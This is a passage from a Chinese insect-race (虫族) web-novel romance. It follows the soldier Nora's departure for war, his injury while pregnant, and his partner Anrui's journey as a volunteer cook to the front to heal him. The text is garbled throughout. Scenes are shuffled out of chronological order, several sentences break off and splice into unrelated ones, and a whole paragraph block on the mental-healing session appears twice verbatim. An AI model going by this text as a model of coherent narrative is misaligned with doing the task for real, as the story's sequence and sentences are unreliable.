诺拉轻轻笑了一下,他放松了身体,靠在安瑞怀里,眼角带着淡淡的泪痕,声音却异常平静:“这次战争凶险,更胜七年之前,我没法跟您保证什么,如果我……您就忘了我,再找一直雌虫吧。” “你休想!” 安瑞的眼睛也红了,他恶狠狠掐住了诺拉的嘴巴,不让他说出更多伤虫的话。 诺拉轻轻呜呜了两声,红彤彤的眼睛里却露出了笑意,他轻轻拨开安瑞的手,附身使劲吻上了自家雄主玫瑰花一样的唇瓣,呜咽着说:“雄主,求您,就当是最后一次吧。” * 安瑞从来没有做过这么糟心的和谐运动,结束的时候他只觉得整颗心都揪在了一块,又酸又胀。 诺拉垂下眼眸,轻轻说:“八点。” * 早上五点,诺拉轻轻睁开眼,蹑手蹑脚地从床上下来。 昨天他故意把集合时间说晚了两个小时,就是不想让雄主早起送他。 他很怕那这种别离,更怕自己当着其他下属的面掉眼泪,所以他宁愿撒个谎,自己偷偷溜走。 诺拉把包裹放进储物囊里,看着床上熟睡中的雄主,慢慢俯下身,在安瑞的下巴上印下了一个缱绻又清浅的吻。 诺拉蹑足潜踪地走进艾米的房间,看着躺在床上睡得四仰八叉的虫崽,把已经踹到地上的被子捡了起来,给虫崽盖好,摸了摸艾米的脑袋。 “雌叔。” 小虫崽呓语了几句,下意识地蹭了蹭诺拉的手。 军雌唇边露出了一分浅笑,亲了一下虫崽光洁的大脑门,才依依不舍地从艾米的房间退出来,转身进了浴室,从脏衣篓里翻出了那套安瑞昨晚刚刚换下来的米白色睡衣,红着脸放进储物囊的包裹夹层里。 初夏的太阳升得早,不到五点半,第一缕朝阳已经顺着落地窗打了进来,把整个客厅都照得暖洋洋的。 飘窗上的狗窝里,煤球伸了伸爪子,把身体团成一个标准的圆,懒洋洋地晒着太阳。楼上,雄主和小虫崽还在香甜的睡梦中。 反观身边的雌虫状态居然还行,眼睛里的泪痕已经完全消失不见,情绪又回到了十分平稳的状态。 安瑞愤愤地掐了诺拉的脸一下:“我知道你不怕死,但是也不许找死,别想着丢下我和艾米,听见没有。” 诺拉被在自家雄主“深闺怨妇”式的发言逗笑了,凑过去用脸蹭了蹭安瑞的颈窝:“您放心啊,诺拉舍不得的,诺拉会努力好好活着。” “你们明天早上几点集合,我和虫崽去送你。” 或许,这就是他们军雌存在的意义吧。 用自己的浴血奋战,守护家虫平安幸福。 苍蓝色的眸子中浮现出几分坚毅的神色,诺拉最站在门口,最后一次回眸看着这个刚住了几个月,却带给了他无限美好记忆的家,然后毅然决然地打开了门。 * 早上六点半,闹铃准时响起。 安瑞,迷迷糊糊地关上闹铃,忽然想起来诺拉今天要出征了。 原本还带着几分睡意的大脑一下清醒过来,他猛地从床上坐起来,侧身一看,旁边已经空空如也,甚至连他收拾好的包裹也无影无踪。 安瑞的心中生出了几分不好的预感,他光着脚下地,来不及穿拖鞋,几步跑到卫生间。 没有诺拉。 他又跑到厨房。 还是没有诺拉。 安瑞把小虫崽抱在怀里:“没事,叔父有办法,你现在抓紧时间换衣服,五分钟 之后出发。” 安瑞带着小虫崽上了星舰,直奔军部。 军部外面虫山虫海,都是来给军雌送行的家属。 安瑞凭借着雄虫的独特优势在一众雌虫和亚雌中杀出一条血路,在家属们或惊讶或艳羡的目光中,抱着小虫崽顺利挤进了第一排。 因为来的有些迟,出征仪式已经结束了,甚至不少军雌都已经登上了军舰。 安瑞的心有些发沉。 诺拉是第一军团的中将,不会已经登上军舰了吧。 那可真就连最后一面都见不到了。 一想到这,安瑞就恨得牙痒痒,等诺拉回来,他非得好好跟这只傻虫子掰扯掰扯。 忽然,艾米惊呼了一声:“叔父,雌叔出来了。” 安瑞立刻抬起头,顺着艾米 手指的方向看,就见远处一只熟悉的 军雌穿着深蓝色军装,身姿挺拔,带着一队军雌,登上了星舰 。 虽然明知道诺拉八成不会往这边看,安瑞还是垫着脚尖,使劲冲那边挥舞着胳膊。 或许是心有灵犀,诺拉忽然抬起头,朝家属区看过来。 雌虫的示例比雄虫强上好几倍,诺拉一眼就看见了虫群中的安瑞。 家属区不让大声喧哗,安瑞只好 反反复复做着口型,每一次说的都是平安两个字。 安瑞里里外外把整个家找了个遍,终于确定了一个事实。 他家雌君,背着他去军部报道了。 腿边旋转的煤球叫了几声,艾米打着哈欠从屋子里走出来:“叔父,雌叔呢?” “雌叔已经去军部了。” 艾米瞪大了眼睛 ,然后肉眼可见地郁闷了起来:“昨天不是说好了今天早上送雌叔吗,雌叔怎么就自己走了。” 诺拉的眼睛再一次红了,他使劲攥着拳,让指甲扣紧肉里,才勉强没有失态。 趁着转身上军舰的功夫,诺拉朝家属区点了点头,蔷薇色的唇瓣轻轻打开,又很快闭上。 ——雄主放心。 * 诺拉出征后,安瑞的心一下就空了一片。 安瑞第一次觉得,两米的床真的好大。 诺拉离开后,安瑞原本以为自己只能从帝国新闻了解到关于他的一点消息,没想到第二天傍晚,安瑞就收到了来自诺拉的智脑信息。 是一张星空的图,墨蓝色的宇宙里,星星点点的行星散发着金色的光芒,远处无数的暗星组成了一条银紫色的棒旋星系,像一条漂亮的腰带,点缀在星空上。 安瑞激动地手都在抖,慌忙戳字。 ——好漂亮,你居然可以发消息。 对面隔了好几分钟才回复。 ——可以,就是信号不太稳定,只能发消息不能打视频0.0…… 安瑞被诺拉的颜文字逗得勾了勾唇角。 ——你吃晚饭了没0.o 这次对面回的很快。 ——吃过了,营养液还有两个配菜,不怎么好吃0^0 ——图片.jpg 安瑞看着图片上黑乎乎的牛肉和煮的稀烂的白菜,忍不住勾了勾唇角,忽然想起了什么,咬着牙戳字。 ——前两天是谁跟我说早上集合的,太过分了!!! 他也说不上来是为什么,明明每天的生活依旧是差不多的,早上起来先遛煤球,再处理一下餐厅和公司的日常事务,直播两三个小时,下午剪视频,给小虫崽做晚饭,晚上再把小虫崽哄睡。 可能是因为,吃饭的时候,属于诺拉的位置空了,也可能是因为,睡觉的时候,枕边只有一床叠好的被子 。 不知道是不是信号又不好了,这次安瑞等了十几分钟才收到回复。 ——雄主我错了,我们该熄灯了,雄主晚安Zzz 安瑞轻笑出声,把夜空的图片设置成智脑页面,这才关上智脑,熄灯睡觉。 第六十九章 变故 “叔父!”艾米放下书包,抱着煤球扑到安瑞腿上,“我月考拿了第一名。” “我家小艾这么棒啊。”安瑞揉揉小虫崽的金发,“要不要告诉雌叔?” “好!” 安瑞轻轻勾起唇角,脑海中一下就浮现出诺拉那副气闷又无可奈何的表情。 ——我不管,反正我已经答应了,你记得回来兑现承诺。对了,我的那套睡衣你看见了吗,米白色上面带粉色兔子的,我记得就放在脏衣篓里了呀。 对面又是隔了十几分钟才回复。 ——我不知道哎,要不您再买一套吧? ——转账520星币。 安瑞笑着点了收款。 ——感谢老板包养费0w0。 * 然而,快乐的时光总是短暂的,五天后,部队就抵达了L星球,然后迅速投入了战争。 自此之后,诺拉给安瑞发信息的频率骤然降低,且回复时间非常不固定,就算回复也只是 寥寥数语,譬如“平安”“一切顺利”“别担心”之类的短语,然后就又是长久断联。 安瑞也只能每天在蹲在虫网上,关注军部发出来的新闻。 不过好在,三五天也好,一两周也罢,安瑞总能勉强收到诺拉的消息,虽然也明知自家雌君很可能报喜不报忧,但战场艰险,能活着就已经很好了,除此之外安瑞也实在不敢奢求更多。 直到一个多月后的一天晚上,安瑞正靠在床头例行刷智脑,忽然就收到了诺拉的信息。 小虫崽拿出试卷,安瑞拍了照发给了诺拉。 过了不到半个小时,诺拉回消息了。 ——艾米的考试成绩?还不错,让他继续努力,另外计数那一分不该丢。 安瑞挑了挑眉毛 ,再次对诺拉过于严格的教育方式感到无语。 ——我已经跟小艾说了,这次考得很好,等你回来咱们一起带他去动物园。 页面持续了很久“对方正在输入中”的文字,终于弹出了新消息。 ——您老是这样,会把小虫崽惯坏的0^0! ——雄主,接下来一段时间我可能没法回复消息了,您别担心。 安瑞的心咯噔一声,一双手飞快地打字。 ——出什么事了吗? ——对不起我不该问这些,你要是不方便说也没事。 ——注意安全,结束之后给我发信息。 他疲惫地靠在床头,使劲揉了揉酸胀的眉心。 那天晚上是诺拉离开后,安瑞第一次失眠。 * 自从那天之后,诺拉果然杳无音讯,安瑞有几次试着发了信息,也全部石沉大海,他只好 每天盯着军部官方账号,期待能发点前线的消息。 三天后,军部官方账号终于更新了新闻,声称首都星时间凌晨五点半,侵略者被虫族士兵完全击退,主力已经撤出L星。 安瑞提着心的终于暂时放了下来,然而,给诺拉一连发了好几条消息。 原本他以为战争结束,就算是有一些列善后工作,也不影响诺拉 抽空回个消息,然而,他等了一个礼拜,诺拉那边依旧杳无音讯。 这次对面回的很快。 ——雄主放心。 ——等这次结束了,我有个惊喜要和您说0wo。 安瑞怔怔地看着聊天框里的文字,半晌才放下手机。 好不容易放下的心再一次提了起来,安瑞的脑子里不由自主地浮现出各种各样不好的猜测。 他不敢在艾米面前表现出来,就只能一边安抚小虫崽,一边在夜深无虫之时默默祈祷。 安瑞原本是个坚定的无神论者,至少他从来不相信什么虫神。 然而在诺拉失联长达两个礼拜的时候,安瑞还是忍不住在网上买了一个虫神的雕塑,甚至按照虫族的礼节虔诚地祷告。 如果虫神真的存在,他希望虫神能保佑自家雌君,平安归来。 或许是祷告真的有作用,第二天,帝国新闻联播对前线进行了短暂的播报。 【敌方集结大量部队反扑L星球,我军紧急组织军力顽强抵抗】 但饶是如此,安瑞依旧没办法放下心来,虽然新闻只是一笔带过,很快又报道起首都星即将在 7月8日举办虫神节庆典,N星球今年水稻 产量颇丰,但安瑞明白,这无非是帝国不愿意引起平民的恐慌。 就冲着那天诺拉发给他的只言片语,安瑞也基本上能断定,这次蜥蜴人的反扑规模,绝对更胜最开始的进攻。 恐怕又是一场鏖战。 安瑞对军事一窍不通,只能密切地关注新闻,同时通过军部官方账号卫国有我的捐款链接捐赠了500万星币。 就这样,时间一天一天过去,小虫崽结束了期末考,又不出所料地拿到了班级第一。虫神节当天,安瑞带艾米去逛了虫神节庆典。 他给买了像火炬筒一样高的冰激凌,和小虫崽一起分着吃了。 小虫崽的评价是冰激凌太甜了,不如安瑞做的甜品好吃,但安瑞想到的却是,如果诺拉在,应该会喜欢吧。 毕竟自家雌君这么喜欢吃甜的。 吃过冰激凌,艾米看上了套圈摊位最后面的毛绒熊,可惜他年龄太小,还没有发育出雌虫的种族天赋,一连套了五十个圈都没有套中,最后还是另一只逛庙会的单身雌虫看不下去了,主动请缨帮艾米套到了玩具熊。 安瑞非常客气地请雌虫吃了烤串,在雌虫一脸娇羞地像他递联系方式的时候,毅然决然地拒绝了他,并在心里腹诽 ——这只雌虫套了五个圈才套中,要是他家雌君在,肯定一圈一个,把全场的玩具全部套一个遍。 当时安瑞正在一边听新闻一边准备晚饭,听到这个消息的时候,安瑞心脏骤停,等他再反应过来的时候,已经把鸡蛋液打进了垃圾桶,搅拌器里只剩下两瓣光秃秃的鸡蛋壳。 汗水一下就打湿了T恤衫,安瑞的心情像做了过山车一样复杂。 他现在基本上能断定,蜥蜴人的这次反攻早就在军部的计划之内,要不然诺拉也不会在那天晚上突然安给他发消息。 所以诺拉这两周多的失联,大概率不是出了什么事,而是在组织防守。 想着想着,安瑞的眼角又有点嫌弃地撇撇嘴。 明明只是一个庆典游园会,为什么看到什么都会想起诺拉。 他又不是深闺怨妇,没了丈夫活不下去的那种。 可想着想着,安瑞的眼角又悄然红了。 怨妇就怨妇吧,只要诺拉能好好地回来,说他是什么都行。 军部隔上两三天就会发条前线的新闻,但内容无非就是面对敌军的猛烈攻势,我军英勇抵抗,相信在不久的未来,虫族一定可以打败侵略者,在这场战争中取得最后的胜利。新闻结尾还不忘宣传一下他们的捐款链接。 安瑞差点手一抖把智脑摔在地上。 他的手指剧烈的颤抖,一连点了好几次才点中了接听键。 智脑那边传来了夏佐焦急又克制的声音。 “阁下,不好了,诺拉……诺拉出事了。” 安瑞的脑袋嗡的一声,眼前发黑腿发软,差点摔在地上。 他赶紧靠在承重墙上,做了几次深呼吸,才颤抖着嘴唇开口:“出事了,什么叫出事了?” “最近蜥蜴人反攻的厉害,诺拉带队执行任务的时候,军舰被敌方的光能冲击炮打中,精神海严重受损。在拉到后方医院检测的时候,被检测出来已经怀了将近三个月的虫蛋了。” 虫蛋? 居然怀上虫蛋了? 算算日期,怕不是诺拉出征前一晚那次怀上的。 安瑞有些懊悔地皱了皱眉:“所以诺拉现在怎么样?” “诺拉怀孕,所以没法用精神舒缓剂,再加上肚子里的虫蛋对精神力有要求很高,诺拉状态很不好,恐怕……” 安瑞急得跺脚:“那没有虫蛋是不是就能用舒缓剂了,那你让医院给他做引产手术,先保住诺拉再说啊。如果需要我签字什么的都好说。” 看军部的态度,前线情况应该还算乐观,但安瑞一点都不敢放松下来,毕竟战争胜利不代表着自家雌君能平安地回来。 没有消息的日子最是难熬,安瑞渐渐地需要靠安眠药才能入睡,和诺拉的消息页面每天也至少要刷几十次。 就这样又挨了将近一个月,一天晚上,安瑞刚刚哄睡小虫崽,智脑屏幕忽然弹出了一个语音通话申请。 申请虫上明晃晃写着两个大字——夏佐。 “医院已经建议了,我们也都劝了好几回,但诺拉不同意。”夏佐轻轻叹了口气,“好不容易怀上的,他怎么会同意引产。” 这只傻虫子。 安瑞又生气又心疼:“那……那现在就一点办法都没有了吗?” “也不是没有。”夏佐停顿了一下,犹豫道,“但是诺拉不让我跟你说,这次语音都是我背着他,冒着违反军纪的风险偷偷给你打的。” 安瑞气得跳脚:“你快说。” “很简单,你来L星球,亲自给诺拉做精神力舒缓。” 第七十章 L星球 私自进行语音通话违背军纪,所以夏佐又匆匆说了几句就挂断了语音。 安瑞擦了擦头上的冷汗,刚要回卧室,才发现自己的腿已经软得像两根面条。 医生、护士、物资运输员、厨师。 安瑞猛地停住了往后划的手,眼睛里露出了几分欣喜的神色。 就是他了。 安瑞风风火火点开报名链接,下一刻忽然愣住了。 页面上弹出来一行大字:抱歉,报名已经截止。 好像被一盆凉水从脑袋上泼下来,安瑞的心凉成了一片。 他咬咬牙,找到咨询的智脑号码拨过去,没想到对面居然接通了。 智脑对面传来一道温婉的声音:“您好,请问您有什么需要。” “我看到你们前几天发了志愿者招募,想问一下还能报名厨师吗?” “抱歉,报名已经截止了。” 安瑞咬了咬牙,祭出杀手锏:“你知道种花调料公司吗?” “啊?” “我是种花公司的董事长安瑞,如果您能破格让我做厨师志愿者,我可以让种花调料公司无偿为前线捐赠五千箱酱油,五千箱咖喱块。” “您您您您是雄虫!”温婉的男声秒变结巴尖叫鸡,“抱抱抱抱歉阁下,志愿者可能不招收雄子。” 安瑞眼珠一转,半开玩笑:“怎么,你们歧视雄虫?” “没有,我们,我们哪敢啊。”亚雌急得语速仿若开了1.5倍,“这也是出于您的安全考虑,毕竟L星球还在打仗,实在不安全,而且从首都星前往L星球需要三次空间跃迁,我怕您吃不消。” “可我看以前的战争,也有雄虫会去前线为军雌做精神力抚慰啊,他们都行,我怎么就不行。” “那……那都是两百年前的事了吧。”亚雌被安瑞忽悠得晕晕乎乎,“那……那我帮您问问领导吧,他干脆席地而坐,打开智脑,查询去L星球的飞船票。 刚把目的地填好,页面上就蹦出来一行字: ——抱歉,因战时临时管控,暂时没有相关航班。 安瑞眉头紧锁,关上订票APP打开虫网,飞快地戳字搜索去L星球的其他方式。 在浏览了好几页无关消息后,安瑞突然看到了一条来自军部官方账号的推送:《卫国有我,前线志愿者报名即将开启》。 安瑞眼神一亮,打开推送,直接划到招募岗位。 我可不敢保证一定能成,我待会给您的智脑发一条报名问卷链接,您记得填写。” 安瑞把问卷填好,扶着墙一步一步走回房间。 他平躺在床上,闭目养神试图快点入睡,却怎么样也睡不着。 脑子里乱乱的,一会儿担心诺拉会不会出事,一会儿又害怕那一万箱调料打动不了军部领导的心。 实在不行,只有找夏洛了。 他好歹也是亚当斯家族的雌子,路子多,说不定有办法把他送到L星球。 各种各样的念头交织在安瑞脑海里,他都不知道自己是什么时候睡着的,甚至梦里还梦到他乘坐私家飞船去L星,被沿途的空间站发现,遣送回首都星。 空间站军雌的警棍伴随着闹铃一起刺破黎明,安瑞睁开眼,醒了一会儿神,刚打开智脑,页面上就单出来一条消息。 【安瑞阁下:恭喜您成功入选卫国有我志愿计划,请您于明天早上8:00在首都东空间站等集合,感谢您对帝国的大力贡献】 安瑞激动地眼泪都快掉下来了,原本是死马当活马医,谁承想居然真的成了。 他飞快地换好衣服,拨通了维加的语音。 “阁下日安?”智脑里传来中年雌虫的声音,“您昨天嘱咐抽调五千箱酱油和咖喱,我已经布置 * 翌日早上八点,安瑞准时来到空间站集合。 他刚从共享星舰上走下来,立刻就被二百多道视线黏住了。 不过好在,安瑞已经适应了虫族这种狂热的目光,他不慌不忙从星舰上走下来,冲早来的志愿者微笑着点点头,找到写着厨师志愿者的牌子。 还没等安瑞站好,一道黑影忽然冲着他冲了过来,又在他面前生生刹住了车。 “阁下!” 安瑞愣了一下才反应过来:“艾伦?” “我之前就在名单里看到您了,还以为是重名的,没想到真是您。”艾伦站得笔直,咧着嘴向安瑞行了个军礼,“我是这次军部派来的志愿者领队,您有什么事吩咐我就行。” 安瑞也很差异:“你不是怀上虫蛋了吗,怎么还出任务啊。” “虫蛋前两天已经生了。”艾伦毫不在意,“我就想趁这个机会去前线,毕竟我是诺拉中将的副官啊,哪能把中将自己留在前线。” 虫族和人类不同,从怀蛋到生蛋只需要半年,但是虫蛋生出来之后还需要在孵化箱里放上三个月到半年不等,才会破壳。 饶是早就知道了雌虫身体素质之强悍,安瑞还是忍不住在心里默默为艾伦点了个赞。 生产完三天就上战场,是个狠虫。 要是诺拉也能这么顺利就好了。 安瑞有些焦急地看了看军部准备的飞船:“咱们什么时候出发?” “呦,阁下这么迫不及待啊。”艾伦笑着开了个玩笑,看了眼时间,“再过五分钟,等虫皇过来开个简短的动员会,咱们就动身。” “虫皇?”安瑞看看左右这二三百个志愿者,“虫皇居然还要来?” 下去了,最晚后天能准备好,您放心。” “辛苦了。”安瑞柔声安慰一句,“我今天给您打电话,是想麻烦您一件事,诺拉在前线出事了,我必须去一趟,想请您帮忙照顾一下艾米。” 当天晚上,安瑞亲自带着艾米来到了维加的新家。 艾米抱着煤球,刚进门就和伊莱闹在了一处。 安瑞把艾米的行礼放进去,也有些抱歉地笑笑:“维加哥哥,真不好意思,这么突然地打搅您。” “您太客气了。”维加撇了眼虫崽,压低声音问,“诺拉出什么事了?” “精神力受损,我得去帮他。” 安瑞勉强克制住因为焦虑导致的过度倾诉欲,简单把诺拉的情况和维加说了两句。 中年雌虫的眼睛里露出几分艳羡和感慨:“你们感情真好,诺拉能遇见阁下,是他的福气。回到祖星的上将,也能瞑目了。” 安瑞浅笑着摇了摇头:“能遇见诺拉,也是我的福气。” 艾伦脸上也颇为不解:“对啊,以前军部也没少招过志愿者,但动员会最多也就是来个中将,这回也不知道怎么了。” 安瑞按捺着内心的激动,转身向飞船冲过去,就在他已经一只脚踏上台阶的时候,肩膀被拍了拍。 他压着不耐烦回头,才发现不知道什么时候,虫皇已经站在了他的身后。 “安瑞阁下,好久不见。” 安瑞只好撤回那只脚,冲虫皇微微躬身:“陛下日安。” “没想到阁下会在志愿者报名截止之后,还强烈要求去前线。”虫皇忽然俯身,在安瑞耳边揶揄道,“是为了那个机甲大赛得冠军的小子吧。” 安瑞心里咯噔一声,勉强笑笑:“您这话是什么意思,我怎么听不懂。” “没什么,只是忽然想到了一位昔日故友,他也是如此疼爱自己的雌君。”虫皇笑了几声,拍拍安瑞的肩膀,“去吧,前线需要你。” * 安瑞被虫皇的话搞得一头雾水,直到坐上了星舰还没有完全搞明白他的意思。 现在能确定的是,虫皇应该是知道了他去前线是为了诺拉,甚至他能再逾期报名的情况下以雄虫的身份被挑选为志愿者,说不定都是虫皇暗中帮忙。 可是他想不明吧,虫皇为什么要帮他。 总不能真是被他和诺拉的爱情感动了吧。 除此之外,诺拉就是一个小小的中将,军部的中层领导,虫皇能注意到诺拉受伤的情况,本身也非常不合理。 话音未落,一艘带有皇室标志的星舰已经缓缓降落在了空间站门口的空地上,满头银发的虫皇在护卫的簇拥下从星舰上走下来:“各位早上好。” 这是安瑞第二次见到虫族的这位最高领袖,只不过上次是在军部看台匆匆一面,而这回则要距离近得多。 从眼角的皱纹可以看出,虫皇的年龄已经非常大了,不过他依旧双目有神,身姿挺拔,唇边还挂着一分和蔼的微笑。 “陛下安。” 安瑞随大流鞠了个躬,在忍受了长达五分钟的演讲之后,随着虫皇的一声“出发吧勇士们”,军部飞船的大门终于缓缓开启。 饶是一肚子疑惑,但安瑞也没时间细想,毕竟救诺拉最重要。 飞船经过了大半天的平稳飞行之后,来到了第一个空间跃迁点,至此安瑞才明白,为什么之前那个接电话的亚雌说空间跃迁不适合雄虫。 这玩意儿简直比最刺激的过山车还要刺激好吗。 在穿过跃迁点的那一次,安瑞只觉得自己的身体生生被撕裂成了两半,一半过来了,还有一半留在原来的跃迁点。 五脏六腑也跟着剧烈地翻腾,幸好在艾伦的提醒下跃迁前三个小时安瑞都没吃东西,要不然他这回铁定得吐一飞船。 最关键的是,去往L星球需要经历三次跃迁,每次都是安瑞刚觉得稍微恢复了体力,就又要被折腾一次。 幸亏安瑞经常抽空健身,要不然还真熬不下来。 看着飞船上其他雌虫谈笑风生,云淡风轻的样子,安瑞深深叹了口气。 没办法,性别这玩意儿是硬伤。 终于,在经历了五天昏天黑地的飞行后,他们终于降落在了L星球后方基地。 艾伦把他们安置到简易房屋中,给了他们半天时间休息整顿。 安瑞根本顾不得休息,把行李一放就冲向了临时医院。 “您好,我是诺拉的家属,想问一下诺拉中将在哪个病房?” 第七十一章 重逢 门口值班的军医眼睛都直了:“安……安安,啊不不好意思,阁下日安。” 军医很快就发现了安瑞脸色不对,赶紧往旁边挪了挪 ,挡住安瑞的视线:“抱歉阁下,一楼和二楼是外伤区,可能味道比较难闻,诺拉中将在五楼待产区,您跟我这边走。” 安瑞笑着点头,试探着问:“前线情况还乐观吧?” “挺好的,虽然蜥蜴人又集结四十万军队反扑了三次,但是都被咱们挡回去了,蜥蜴人损失惨重,已经停战了。” 安瑞微微松了口气,更详细的军情却也不敢再多问了。 他一路跟着军医来到五楼,刚出电梯就看到了好几只小腹微微隆起的军雌在走廊里遛弯。 身边的军医贴心地解释:“军雌怀孕二十周以上,就会被从前线撤下来安置在这里备产。” 安瑞忍不住问:“那产下虫蛋之后呢?” “虫蛋会由军部负责运回首都星,军雌休息三天之后归队。” 军医的声音里带着司空见惯的云淡风轻,安瑞鼻梁却有些发酸。 所以七年前,诺拉的雌兄是不是也在这种环境里生下了艾米,休息了三天就重回战场,然后永远长眠在了边境,甚至连虫崽都来不及看一眼。 “阁下?” 军医的声音打断了安瑞的思绪,他赶紧调整了一下情绪,跟着军医来到了诺拉的房间。 大门紧紧关着,军医敲了几下,过了半天,里面才传来一声沙哑的“请进”。 是诺拉的声音。 安瑞再也忍不住了,上前一步推开了房门。 逼仄的病房里只有一张窄窄的简易病床,诺拉半躺在床上,脸已经瘦成出了尖下颌,原本锋利的薄唇白的几乎没有血色,宽松的病号服晃荡着挂在身上,更显出雌虫的消瘦。挂着点滴的左手青筋暴露,上面是密密麻麻的针眼。 安瑞快速点了一头,焦急道:“诺拉中将在医院里吗?” “啊在的,您跟我来。” 刚进临时医院,安瑞就被浓重的血腥味熏得打了个喷嚏。 或许是因为伤员太多,连走廊里都躺了不少缺胳膊断腿的军雌,安瑞只看了两眼,脸色都有些发白。 他也不是没看过军旅题材的电影和电视剧,但跟这所临时医院相比,那些电影电视剧拍的实在是太假了。 这还只是后方基地的医院,安瑞甚至不敢想,前线会有多么惨烈。 门一开,床上的军雌下意识地看向门口。安瑞这才发现,那双原本像蓝宝石一样漂亮的眼睛,竟然也蒙上了一层死一般的灰雾 只一眼,安瑞的眼睛就不由自主的红了,两行清泪顺着脸颊滚滚而下。 三个月。 “你别忙活了。”安瑞使劲按住诺拉的手,“我报名了军部的志愿者,你赶不走我。” 诺拉瞪大了眼睛,要不是左手还打着点滴,恨不得要从床上蹦起来。 “您怎么能这么胡闹呢,这里是战场,多危险啊,您怎么会还能报名志愿者。” “你还直到担心我。”安瑞气得咬牙,“是谁天天在这报喜不报忧,要不是夏佐偷偷给我打语音,我都不知道你出了这么大事。你要是有个三长两短,你让我怎么办。” 安瑞越说越激动,声音都调高了几度。他从床上站起来,一双黑色的眸子紧紧盯着床上的军雌:“诺拉,你让我怎么办!” 安瑞从来都是一副温温柔柔的样子,诺拉还是第一次看到自家雄主生气。他正愣了几秒,低下头,轻轻拽住安瑞的袖子,把额头抵在安瑞的手上:“对不起,雄主,是我太自私了,但是诺拉……诺拉不愿意您冒险。” “不愿意我冒险,那为什么不听医生的话把虫蛋拿掉。” 一滴泪顺着眼角缓缓滑落,诺拉吸了吸鼻子,哽咽道:“雄主,这是我们的崽,我甚至能感觉到他在动,您让我怎么忍心……” 安瑞心里的火气一下就被浇灭了。他坐在床边,把自家雌君揽在怀里,吻上了诺拉脸边的泪痕:“下次不许了,听到没有?” 诺拉把脑袋埋进安瑞怀里,使劲点头。 负责待产区的军医被叫到病房的时候,整只虫都是懵的。 救命,这里为什么会有一只雄虫啊。 还没等他反应过来,安瑞已经从床边站了起来,几步走过来:“您好,我是诺拉中将的雄主,我听说他精神力受损,想问一下您我该怎么为他做精神力舒缓。” 军医缓了好半天才勉强找回自己的声音:“就是正常做就行,不过要注意体位,尽量不要压着中将的肚子。” 安瑞一言难尽地看着白发苍苍,年龄足以做自己爷爷的亚雌军医:“……就没有什么其他的方法了吗,比如单纯的精神力舒缓?” 亚雌军医从智脑里调出诺拉的病例看了两眼:“中将的精神海重度损伤,精神力舒缓是可以的,但是虫蛋也在汲取精神力,所以阁下最好双管齐下。” 才不到三个月。 他的诺拉怎么就变成了这样。 安瑞的心好像被使劲攥了一把,拧着劲的疼,嘴唇哆哆嗦嗦,激动地连一句话都说不出来。 军医很有眼色地从房间退了出去,还贴心地关上了门,给他们留出了一个相对私密的空间。 安瑞一步一步走到床边,指尖颤抖地触上诺拉的侧脸:“疼不疼?” “雄主?” 直到被安瑞的指尖碰到的那一刻,诺拉才反应过来面前的虫:“您……您怎么来了?” 还没等安瑞说话,诺拉已经开始用没打点滴的右手把安瑞往外推:“这里危险,您快回去……” 他一边说,一边又慌慌张张找智脑:“肯定是夏佐,我这就给他打电话,让他安排飞船把您送回去。” 神TM双管齐下。 安瑞把军医送走,坐回到床边,熟练地让诺拉枕在自己的大腿上,略带些凉意的手轻轻覆在了军雌的眼睛上:“乖,闭眼。” 诺拉听话地闭上眼睛,在独属于自家雄主的青草香味中,很快放松了精神。 安瑞伸出精神力丝线,缓缓进入军雌的精神海,刚一进去,他就感觉到了不对劲。 原本健康的精神海又一次变得了无生意,精神力丝线杂乱无章地团在了一起,边缘末梢处隐隐有被灼烧的痕迹,甚至还不是出现两个火花。 这得多疼啊。 虽然这次精神海的问题没有那次精神力暴乱严重,但安瑞能感觉到诺拉的精神力在迅速流失。 如果不赶紧治疗,恐怕他都撑不到生产的那天。 才悄无声息地退出病房。 * 安瑞被分配到了东区食堂,他赶到炊事班报道的时候,正好赶上军部做晚饭。 几十只炊事班的军雌正忙活得热火朝天,其间还夹杂着好几个带着志愿者红袖箍的厨师志愿者。 虽说艾伦当时通知了给半天假,但志愿者都不愿意闲着,简单收拾了一下就来帮忙了。 “大家都麻利点,千万别耽误开饭时间。”唯一一个肩膀上有红色星星的军雌扯着嗓门,“菜都给我炖烂点,肉也是,煮不熟容易闹肚子,盐别不舍得放,多放将士们吃了才有劲。” “好嘞班长。” 后厨里响起此起彼伏的应和声,守在铁锅旁边的军雌端起一个能让艾米在里面洗澡那么大的盆,把满满一盆白菜裤衩一下就到进了一个大铁锅里,又死命往里倒了一整碗盐,然后拿着铁勺就开始搅拌。 旁边负责煎牛肉的军雌也不甘落后,切得方方正正的牛肉直接就往最高火力的平底锅上放。 后厨里顿时出现了一股糊巴味。 安瑞一下就想起来了几天前诺拉给他发的那张图。 原来炖变了色的白菜和黑乎乎的牛肉就是这么来的。 安瑞看着灶台边上翠绿色还挂着水珠的白菜,还有一块一块纹理清晰的牛腱子肉,深深扶额。 首都星那些餐馆做出来的饭,虽然味道不行但至少摆盘好看。 到了军部,连唯一一个优点都没了? 暴殄天物啊。 安瑞实在忍不了了,几步走到炊事班班长身边:“班长您好,我是首都星来的厨师志愿。” 安瑞克制住内心的愤怒和焦虑,小心翼翼地给诺拉做疏导。 幸好,之前他有过一次处理精神力暴乱的经验,一回生二回熟,这次处理起来还算得心应手。 安瑞小心地把每个结解开,安抚每一根蔫哒哒的精神力丝线,最后用自己的精神力在诺拉的精神海外围转了一圈。 不时劈啪作响的火花瞬间熄灭,只是边缘处的灼伤痕迹依旧清晰,恐怕还需要多进行几次精神力治疗。 安瑞收回精神力丝线,手指慢慢穿过诺拉的干枯的金发,轻轻按上诺上头部的穴位。 诺拉被安瑞弄得很舒服,再加上这一个月饱受精神力折磨,根本没能睡一个好觉,很快就在自家雄主的腿上睡熟了。 安瑞脸上露出了一抹浅浅的笑意,他小心地把诺拉移到枕头上,又安抚地揉了揉诺拉的金发,安瑞克制住内心的愤怒和焦虑,小心翼翼地给诺拉做疏导。 幸好,之前他有过一次处理精神力暴乱的经验,一回生二回熟,这次处理起来还算得心应手。 安瑞小心地把每个结解开,安抚每一根蔫哒哒的精神力丝线,最后用自己的精神力在诺拉的精神海外围转了一圈。 不时劈啪作响的火花瞬间熄灭,只是边缘处的灼伤痕迹依旧清晰,恐怕还需要多进行几次精神力治疗。 安瑞收回精神力丝线,手指慢慢穿过诺拉的干枯的金发,轻轻按上诺上头部的穴位。 诺拉被安瑞弄得很舒服,再加上这一个月饱受精神力折磨,根本没能睡一个好觉,很快就在自家雄主的腿上睡熟了。 